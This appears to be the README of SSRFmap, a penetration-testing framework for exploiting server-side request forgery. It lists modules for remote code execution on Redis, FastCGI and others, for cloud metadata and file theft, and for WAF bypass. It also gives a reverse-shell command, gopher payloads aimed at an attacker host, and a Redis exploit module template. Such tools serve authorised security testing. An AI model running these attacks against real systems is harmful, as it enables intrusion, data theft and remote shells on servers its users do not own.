SSRFmap Python 3.4+

SSRF are often used to leverage actions on other services, this framework aims to find and exploit these services easily. SSRFmap takes a Burp request file as input and a parameter to fuzz.

Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on their behalf.

Modules

The following modules are already implemented and can be used with the -m argument.

Name Description
fastcgi FastCGI RCE
redis Redis RCE
github Github Enterprise RCE < 2.8.7
zabbix Zabbix RCE
mysql MySQL Command execution
docker Docker Infoleaks via API
smtp SMTP send mail
portscan Scan ports for the host
networkscan HTTP Ping sweep over the network
readfiles Read files such as /etc/passwd
alibaba Read files from the provider (e.g: meta-data, user-data)
aws Read files from the provider (e.g: meta-data, user-data)
gce Read files from the provider (e.g: meta-data, user-data)
digitalocean Read files from the provider (e.g: meta-data, user-data)
socksproxy SOCKS4 Proxy
smbhash Force an SMB authentication via a UNC Path
tomcat Bruteforce attack against Tomcat Manager

Install and Manual

Basic install from the Github repository.

git clone https://github.com/swisskyrepo/SSRFmap
cd SSRFmap/
pip3 install -r requirements.txt
python3 ssrfmap.py

usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [-l HANDLER]
                  [--lhost LHOST] [--lport LPORT] [--uagent USERAGENT]
                  [--ssl [SSL]] [--level [LEVEL]]

optional arguments:
  -h, --help          show this help message and exit
  -r REQFILE          SSRF Request file
  -p PARAM            SSRF Parameter to target
  -m MODULES          SSRF Modules to enable
  -l HANDLER          Start an handler for a reverse shell
  --lhost LHOST       LHOST reverse shell
  --lport LPORT       LPORT reverse shell
  --uagent USERAGENT  User Agent to use
  --ssl [SSL]         Use HTTPS without verification
  --level [LEVEL]     Level of test to perform (1-5, default: 1)

SSRFmap - Basic use

First you need a request with a parameter to fuzz, Burp requests works well with SSRFmap. They should look like the following. More examples are available in the /data folder.

POST /ssrf HTTP/1.1
Host: 127.0.0.1:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://mysimple.ssrf/
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Connection: close
Upgrade-Insecure-Requests: 1

url=https%3A%2F%2Fwww.google.fr

Use the -m followed by module name (separated by a , if you want to launch several modules).

# Launch a portscan on localhost and read default files
python ssrfmap.py -r data/request.txt -p url -m readfiles,portscan

If you need to have a custom user-agent use the --uagent. Some targets will use HTTPS, you can enable it with --ssl.

# Launch a portscan against an HTTPS endpoint using a custom user-agent
python ssrfmap.py -r data/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent"

Some modules allow you to create a connect back, you have to specify LHOST and LPORT. Also SSRFmap can listen for the incoming reverse shell.

# Triggering a reverse shell on a Redis
python ssrfmap.py -r data/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242

# -l create a listener for reverse shell on the specified port
# --lhost and --lport work like in Metasploit, these values are used to create a reverse shell payload

When the target is protected by a WAF or some filters you can try a wide range of payloads and encoding with the parameter --level.

# --level : ability to tweak payloads in order to bypass some IDS/WAF. e.g: 127.0.0.1 -> [::] -> 0000: -> ...

SSRFmap Tests

A quick way to test the framework can be done with data/example.py SSRF service.

FLASK_APP=data/example.py flask run &
python ssrfmap.py -r data/request.txt -p url -m readfiles

Contribute

I ❤️ pull requests :) Feel free to add any feature listed below or a new service.

  • HTTP module (Jenkins ?)
gopher://<proxyserver>:8080/_GET http://<attacker:80>/x HTTP/1.1%0A%0A
gopher://<proxyserver>:8080/_POST%20http://<attacker>:80/x%20HTTP/1.1%0ACookie:%20eatme%0A%0AI+am+a+post+body

The following code is a template if you wish to add a module interacting with a service.

from core.utils import *
import logging

name          = "servicename in lowercase"
description   = "ServiceName RCE - What does it do"
author        = "Name or pseudo of the author"
documentation = ["http://link_to_a_research", "http://another_link"]

class exploit():
    SERVER_HOST = "127.0.0.1"
    SERVER_PORT = "4242"

    def __init__(self, requester, args):
        logging.info("Module '{}' launched !".format(name))

        # Handle args for reverse shell
        if args.lhost == None: self.SERVER_HOST = input("Server Host:")
        else:                  self.SERVER_HOST = args.lhost

        if args.lport == None: self.SERVER_PORT = input("Server Port:")
        else:                  self.SERVER_PORT = args.lport

        # Data for the service
        # Using a generator to create the host list
        # Edit the following ip if you need to target something else
        gen_host = gen_ip_list("127.0.0.1", args.level)
        for ip in gen_host:
            port = "6379"
            data = "*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a"
            payload = wrapper_gopher(data, ip , port)

            # Handle args for reverse shell
            payload = payload.replace("SERVER_HOST", self.SERVER_HOST)
            payload = payload.replace("SERVER_PORT", self.SERVER_PORT)

            # Send the payload
            r = requester.do_request(args.param, payload)
